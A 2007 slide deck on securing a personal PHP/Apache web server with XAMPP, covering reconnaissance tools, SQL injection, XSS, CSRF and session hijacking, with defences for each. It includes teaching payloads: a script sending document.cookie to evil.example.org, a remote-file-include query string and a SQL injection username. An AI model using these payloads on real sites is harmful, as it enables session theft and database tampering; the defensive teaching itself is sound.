Creating A Secure, Personal Web Server on a Windows Platform

advertisement
Creating A Secure,
Personal Web Server on
a Windows Platform
using PHP and Apache
Created By: John Gibbons
November 27th, 2007
1
Overview

Introduction
Handouts
 Background


Targeting Victims
NMAP
 Intellitamper
 Whois

2
Overview

PHP







Terminology
Vulnerabilities
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
3
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

4
Overview


Installing a Personal Web Server
XAMPP
Installation
 Hardening Security


Updates
5
Overview




Review
Conclusion
Sources
Questions
6
Overview

Introduction
Handouts
 Background


Targeting Victims
NMAP
 Intellitamper
 Whois

7
Background


Apache and PHP are free, open source web
development tools.
Apache



In development since 1995
Software that allows a computer to act as a web
server
PHP


Server side HTML embedded scripting language
Allows for the creation of dynamic web pages
8
Overview

Introduction
Handouts
 Background


Targeting Victims
NMAP
 Intellitamper
 Whois

9
NMAP


Open source tool common used by
hackers
Host Discovery


Identifying computers on a network
Port Scanning

Enumerating the open ports on one or more
target computers
10
NMAP

Version Detection


Interrogating listening network services
listening on remote computers to determine
the application name and version number.
Detection

Remotely determining the operating system
and some hardware characteristics of network
devices
11
Overview

Introduction
Handouts
 Background


Targeting Victims
NMAP
 Intellitamper
 Whois

12
Intellitamper


Upon discovering desired (vulnerable)
ports/services, directories can be mapped
Attackers can view directories they were
not meant to see
13
Overview

Introduction
Handouts
 Background


Targeting Victims
NMAP
 Intellitamper
 Whois

14
Whois
15
Whois
16
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
17
PHP Terminology



Public Scripts: Scripts available via a URL
White list: Assuming input to be invalid
until proven valid
Data Filtering: Examining data from an
external source to ensure it meets the
criteria to be considered valid
18
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
19
PHP Security

Data Filtering





Initialize all variables
Filter all data that comes from an external source
Develop with error_reporting set to E_ALL, so that the
use of an uninitialized variable won't be overlooked
during development
Having error_reporting set to E_ALL will help to
enforce the initialization of variables, because a
reference to an undefined variable generates a notice
Consider all data invalid until it is proven valid
20
PHP Security

Data Filtering Guidelines
Ensure that data filtering cannot bypassed
 Ensure that invalid data cannot be mistaken
for valid data
 Identify the origin of the data

21
PHP Security

Register Globals


Disabled by default (version 4.2.0 and
greater)
Prevents regular globals from affecting
data submitted by the client
22
PHP Security

Register Globals Example
if (authenticated_user())
{ $authorized = true; }
if ($authorized)
{ include '/highly/sensitive/data.php'; }

This page can be requested with
?authorized=1 in the query string to
bypass the intended access control
23
PHP Security

Register Globals Example:
include "$path/script.php";

This page can be requested with
?path=http%3A%2F%2Fevil.example.org%2F%3F

In the query string in order to equate this
example to the following:
include 'http://evil.example.org/?/script.php';

If allow_url_fopen is enabled (which it is by
default, even in php.ini-recommended), this will
include the output of http://evil.example.org/ just
as if it were a local file
24
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
25
PHP Data Filtering

The following validates an email address:
<?php
$clean = array();
$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
if (preg_match($email_pattern, $_POST['email']))
{
$clean['email'] = $_POST['email'];
}
?>
26
PHP Data Filtering
The following example ensures that
$_POST['num'] is an integer:
<?php
$clean = array();
if ($_POST['num'] ==
strval(intval($_POST['num'])))
{
$clean['num'] = $_POST['num'];
}
?>

27
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
28
PHP Naming Conventions


Take a white list approach
Use variable names that are easy to
identify as valid


$clean from previous example
Never leave variables in the $_GET and
$_POST arrays because they are not
easily identifiable as valid
29
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
30
PHP Timing



Once a PHP script begins to run, the
HTTP request has been received
The user no longer has the opportunity to
send data
This makes data initialization a very good
practice
31
Overview

PHP






Terminology
Security
Data Filtering
Naming Conventions
Timing
Error Reporting
32
PHP Error Reporting

error_reporting
Sets level of error reporting
 Set to E_ALL for both development and
production



error_reporting (E_ALL);
display_errors
Displays errors on screen
 Use during development
 Disable during production


Could be useful for potential attackers
33
PHP Error Reporting

log_errors
Should be turned on during production
 Will only induce a performance hit if there is a
serious number of errors


error_log
Dictates the location for the error log
 The web server should have write privileges
for this file

34
PHP Error Reporting


NEW
As of PHP 5.0, there is E_STRICT



not included within E_ALL
useful during development
warns about using depreciated functions
35
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

36
SQL: Exposed Access
Credentials


Many PHP applications interact with a
database
Credentials, used for authentication, are
sometimes stored in a plain text file:
<?php
$host = 'example.org'; $username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>
37
SQL: Exposed Access
Credentials



The previous example would be stored in
a file called “db.inc” .
This file in included whenever database
access is needed.
This approach offers convinience by
storing all credentials in a single file.
38
SQL: Exposed Access
Credentials


Potential problems arise when a document
containing credentials is stored
somewhere within the document root.
Every document within the document root
as a URL associated with it.

Despite not publicly linking to the document, if
it is stored in the inappropriate place, it will
still be accessible to an attacker.
39
SQL: Exposed Access
Credentials


A simple solution is to place this files, and
all modules, outside of the document root.
Both include and require can accept file
system paths
40
SQL: Exposed Access
Credentials

Another solution is to place the following in
the “httpd.conf” file (this file is only used
with apache)
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
41
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

42
SQL Injection
Result of data not being filtered.
 Example:
<?php
$sql = "INSERT
INTO users (reg_username, reg_password,
reg_email)
VALUES ('{$_POST['reg_username']}',
'$reg_password', '{$_POST['reg_email']}')";
?>

43
SQL Injection
This simple example allows the user to
input a user name, password, and email
address in order to create an account.
 However, without data filtering, an attacker
could enter the following into the user
name field:
bad_guy', 'mypass', ''), ('good_guy

44
SQL Injection
Assume the attacker gives a valid email address
and the application generates the password
“1234”
 The SQL statement becomes:
$sql =
"INSERT
INTO users (reg_username, reg_password,
reg_email)
VALUES ('bad_guy', 'mypass', ''), ('good_guy',
'1234', 'shiflett@php.net')";

45
SQL Injection


The attacker has successfully created two
accounts, and was able to supply all the
information for the “bad guy” account.
The automatically generated password
was bypassed
46
SQL Injection: Protection


Filter your data
Escape your data
Valid input may interfere with SQL formatting.
 Use functions native to your database to
handle escaping any characters that may
interfere.
 i.e. mysql_escape_string()

47
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie
Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

48
Cross Site Scripting (XSS)

Exploit the trust a user has for a particular
site.

Users don't necessarily have a high level of
trust for any web site, but the browser does.
For example, when the browser sends
cookies in a request, it is trusting the web site.
Users may also have different browsing habits
or even different levels of security defined in
their browser depending on which site they
are visiting.
49
Cross Site Scripting (XSS)

Generally involve web sites that display
external data.

Applications at a heightened risk include
forums, web mail clients, and anything that
displays syndicated content (such as RSS
feeds).
50
Cross Site Scripting (XSS)

Inject content of the attacker's choosing.
When external data is not properly filtered,
you might display content of the attacker's
choosing.
 This is just as dangerous as letting the
attacker edit your source on the server.

51
Cross Site Scripting (XSS)

Types of external data that exploit XSS
Web mail client
 Banner advertisement
 Syndicated blog

52
Cross Site Scripting (XSS)
Cookie Theft Example
//Simplified message board code
<form>
<input type="text" name="message"><br /> <input
type="submit">
</form>
<?php
if (isset($_GET['message'])) { //if message is
written
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />"); //write
to file
fclose($fp);
}
readfile('./messages.txt');
?>

53
Cross Site Scripting (XSS)
Cookie Theft Example
//Code for exploitation

<script>
document.location=
'http://evil.example.org/steal_cookies.php
?cookies=' + document.cookie
</script>
54
Cross Site Scripting (XSS)

Cookie Theft Example

The next user who visits this message board
with JavaScript enabled is redirected to
evil.example.org, and any cookies associated
with the current site are included in the query
string of the URL.
55
Cross Site Scripting:
Protection

Filter all external data.
Data filtering is the most important practice
you can adopt.
 Validate all external data as it enters and exits
your application

56
Cross Site Scripting:
Protection

Use existing functions.
Functions like htmlentities(),
strip_tags(), and utf8_decode() can
be useful.
 Try to avoid reproducing something that a
PHP function already does.
 PHP function much faster, more tested and
less likely to contain errors that yield
vulnerabilities.

57
Cross Site Scripting:
Protection

Use a whitelist approach.
Assume data is invalid until it can be proven
valid.
 This involves verifying the length and also
ensuring that only valid characters are
allowed.
 It is better to deny valid data than to accept
malicious data.

58
Cross Site Scripting:
Protection

Use a strict naming convention.
Easier to distinguish between filtered and
unfiltered data.
 A lack of clarity yields confusion, and this
breeds vulnerabilities.

59
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

60
Cross Site Request Forgery
(CSRF)




The opposite style of attack from XSS
XSS exploits the trust a user has for a web
site
CSRF attacks exploit the trust a web site
has a in user
More difficult to defend against
61
Cross Site Request Forgery
(CSRF)

Exploiting the trust that a site has for a
particular user:

Many users may not be trusted, but it is
common for web applications to offer users
certain privileges upon logging in to the
application. Users with these heightened
privileges are potential victims.
62
Cross Site Request Forgery
(CSRF)



Generally involve web sites that rely on
the identity of the users.
With a secure session management
mechanism, which is a challenge in itself,
CSRF attacks can still be successful.
In fact, it is in these types of environments
where CSRF attacks are most potent.
63
Cross Site Request Forgery
(CSRF)



Perform HTTP requests of the attacker's
choosing.
CSRF attacks include all attacks that
involve the attacker forging an HTTP
request from another user.
In essence, tricking a user into sending an
HTTP request on the attacker's behalf).
64
Cross Site Request Forgery
(CSRF)

HTTP Request
GET / HTTP/1.1 Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg,
image/gif, */*


The first line is called the request line, and it
contains the request method, request URL (a
relative URL is used), and HTTP version.
The other lines are HTTP headers, and each
header name is followed by a colon, a space,
and the value.
65
Cross Site Request Forgery
(CSRF)
The following code can be used to rebuild this particular
HTTP request in a string:
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent:
{$_SERVER['HTTP_USER_AGENT']}\r\n"; $request .=
"Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";
?>

66
CSRF: Protection





Use $_ POST rather than $_ GET in forms.
Specify $_ POST in the method attribute of
your forms.
Use $_POST rather than rely on
register_globals.
Using the POST method for form submissions
is useless if you rely on register_globals
$_POST is also useless if you use
$_REQUEST.
67
CSRF: Protection

Do not focus on convenience.
Too much convenience can have serious
consequences.
 “One-click" approaches are simple
implementations and are likely to be
vulnerable to CSRF.


Force the use of your own forms.

The biggest problem with CSRF is having
requests that look like form submissions but
aren't.
68
Overview

Methods Used for Attacking Websites
SQL: Exposed Access Credentials
 SQL: Injection
 Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

69
PHP Session Hijacking



The goal of a session hijack is to begin
impersonation a user after they have
submitted valid credentials
If successful, the attacker does not have to
know any of the valid credentials and can
simply impersonate the authorized user
Potential attacks include hijacking an
online banking session or a session at a
retail web site (amazon.com)
70
PHP Session Hijacking

In a session, a valid user is be given a
session ID


Only using session_start() leaves the
website vulnerable to impersonations
Attacker needs to obtain this ID
Usually obtained in a cookie theft when the
victim visits the attackers website.
 A nearly unnoticeable redirect to the attackers
site

71
PHP Session Hijacking:
Protection


Use more than the session ID alone to identify a
valid user
Exam other components of the HTTP request



user-Agent field (the web browser) is something that
should not change during a session.
using MD5 hashes can help boost security.
Always prompt the user for a password if
authenticity is in question.


user will feel as if they are being treated as criminals.
the attacker will not know the user’s password.
72
Overview


Installing a Personal Web Server
XAMPP



Installation
Hardening Security
Update
73
Installing a Personal Web Server

Installing individual components
Apache.org
 PHP.net


Installing a from a single installation

XAMPP
74
Overview


Installing a Personal Web Server
XAMPP



Overview
Hardening Security
Update
75
XAMPP Overview


Free Web Server Kit
Contains all the essential components for
hosting a web server in a single package
Apache
 MySQL

76
XAMPP Overview

Available for:

Windows


Mac OS X


WARNING: This version of XAMPP is still in the first steps of
development. Use at you own risk!
Linux


Windows 98, NT, 2000, 2003, XP and Vista
tested for SuSE, RedHat, Mandrake and Debian
Solaris

developed and tested with Solaris 8, tested with Solaris 9
77
XAMPP Overview
Windows Version Contains
Apache
 MySQL
 PHP + PEAR
 Perl
 mod_php
 mod_perl
 mod_ssl
 OpenSSL











Mercury Mail Transport
System for Win32 and
NetWare Systems v3.32
Ming
JpGraph
FileZilla FTP Server
mcrypt
eAccelerator
SQLite
WEB-DAV +
mod_auth_mysql
phpMyAdmin
Webalizer
78
XAMPP Overview






Offers the convenience of a single install
Provides an intuitive interface for security
settings
Much easier for the common user to
understand
Controls security from a central location
Avoids managing several files in several
different file paths (most of the time)
Update only one install instead of several
79
Overview


Installing a Personal Web Server
XAMPP



Overview
Hardening Security
Update
80
XAMPP Hardening Security


Default settings are very insecure
Should not be used in a production
environment, unless hardened
81
XAMPP Hardening Security

Security Risks
The MySQL administrator (root) has no
password.
 The MySQL daemon is accessible via
network.
 PhpMyAdmin is accessible via network.
 Examples are accessible via network.
 The user of Mercury and FileZilla are known.

82
XAMPP Hardening Security


Using the security console, password
protection can be added.
The security console is only accessible
through localhost.
83
XAMPP Hardening Security


For Mercury and FileZilla, change the
configuration settings (e.g. user and
passwords).
Turn off any services that are not being
used.
84
Updates





Keeping all software updated is essential
for security
Patches fix vulnerabilities
Functions get depreciated over time
New code is more secure and will be
supported longer
Always check vendors website for
information regarding updates
85
Updates

Subscribe to PHP mailing lists
86
Overview




Review
Conclusion
Sources
Questions
87
Review

Targeting Victims

NMAP
Used to find vulnerable ports
 Map networks
 Can be used for security auditing


Intellitamper


Allow Hackers to map directories
Whois

Quickly find out information about the registrar of a
domain
88
Review

PHP


Terminology
Vulnerabilities



Security


Form Spoofing
HTTP Spoofing
Always take the “whitelist” approach
Data Filtering

Absolutely essential to security
89
Review

PHP

Naming Conventions



Use names that make it easy to distinguish between valid
and invalid data
Timing
Error Reporting



Report all errors during development
Do not report errors in production
Attackers can use error reports to find weaknesses
90
Review

Methods Used for Attacking Websites

SQL: Exposed Access Credentials
Files with authentication are left in folders
accessible to the public
 Requires little “hacking” skill to obtain
 Easily prevented


SQL: Injection
Attackers manipulate databases through form input
 Prevented by data filtering

91
Review
Cross Site Scripting (XSS) - Cookie Stealing
 Cross Site Request Forgery (CSRF)
 PHP: Session Hijacking

92
Review

Installing a Personal Web Server



Conventional Installation
Apache Installation
XAMPP


Installation
Hardening Security
93
Overview




Review
Conclusion
Sources
Questions
94
Conclusion

There are tools available to easily create a
website and easily attack one. When
working on a website, regardless of scope
or size, always follow these best practices:
Read about the security of your software
 Do not choose convenience over security
 Update the software
 Never trust data from an external source

95
Overview




Review
Conclusion
Sources
Questions
96
Sources

PHP
http://www.php.net/
 http://phpsec.org/projects/guide/
 http://us3.php.net/errorfunc
 http://www.sklar.com/page/article/owasp-topten


Mailing List

http://www.php.net/mailing-lists.php
97
Sources

Apache



XSS



http://www.apache.org/
http://httpd.apache.org/docs/2.0/misc/security_tips.ht
ml
http://www.giac.org/certified_professionals/practicals/
gsec/2505.php
http://www.ibm.com/developerworks/library/wasecxss/?ca=dgr-lnxw914PreventXSS
XAMPP

http://www.apachefriends.org/en/xampp.html
98
Sources

MySQL


http://www.mysql.com/
How to attack websites

http://www.milw0rm.com/papers/111
99
Questions
100
Download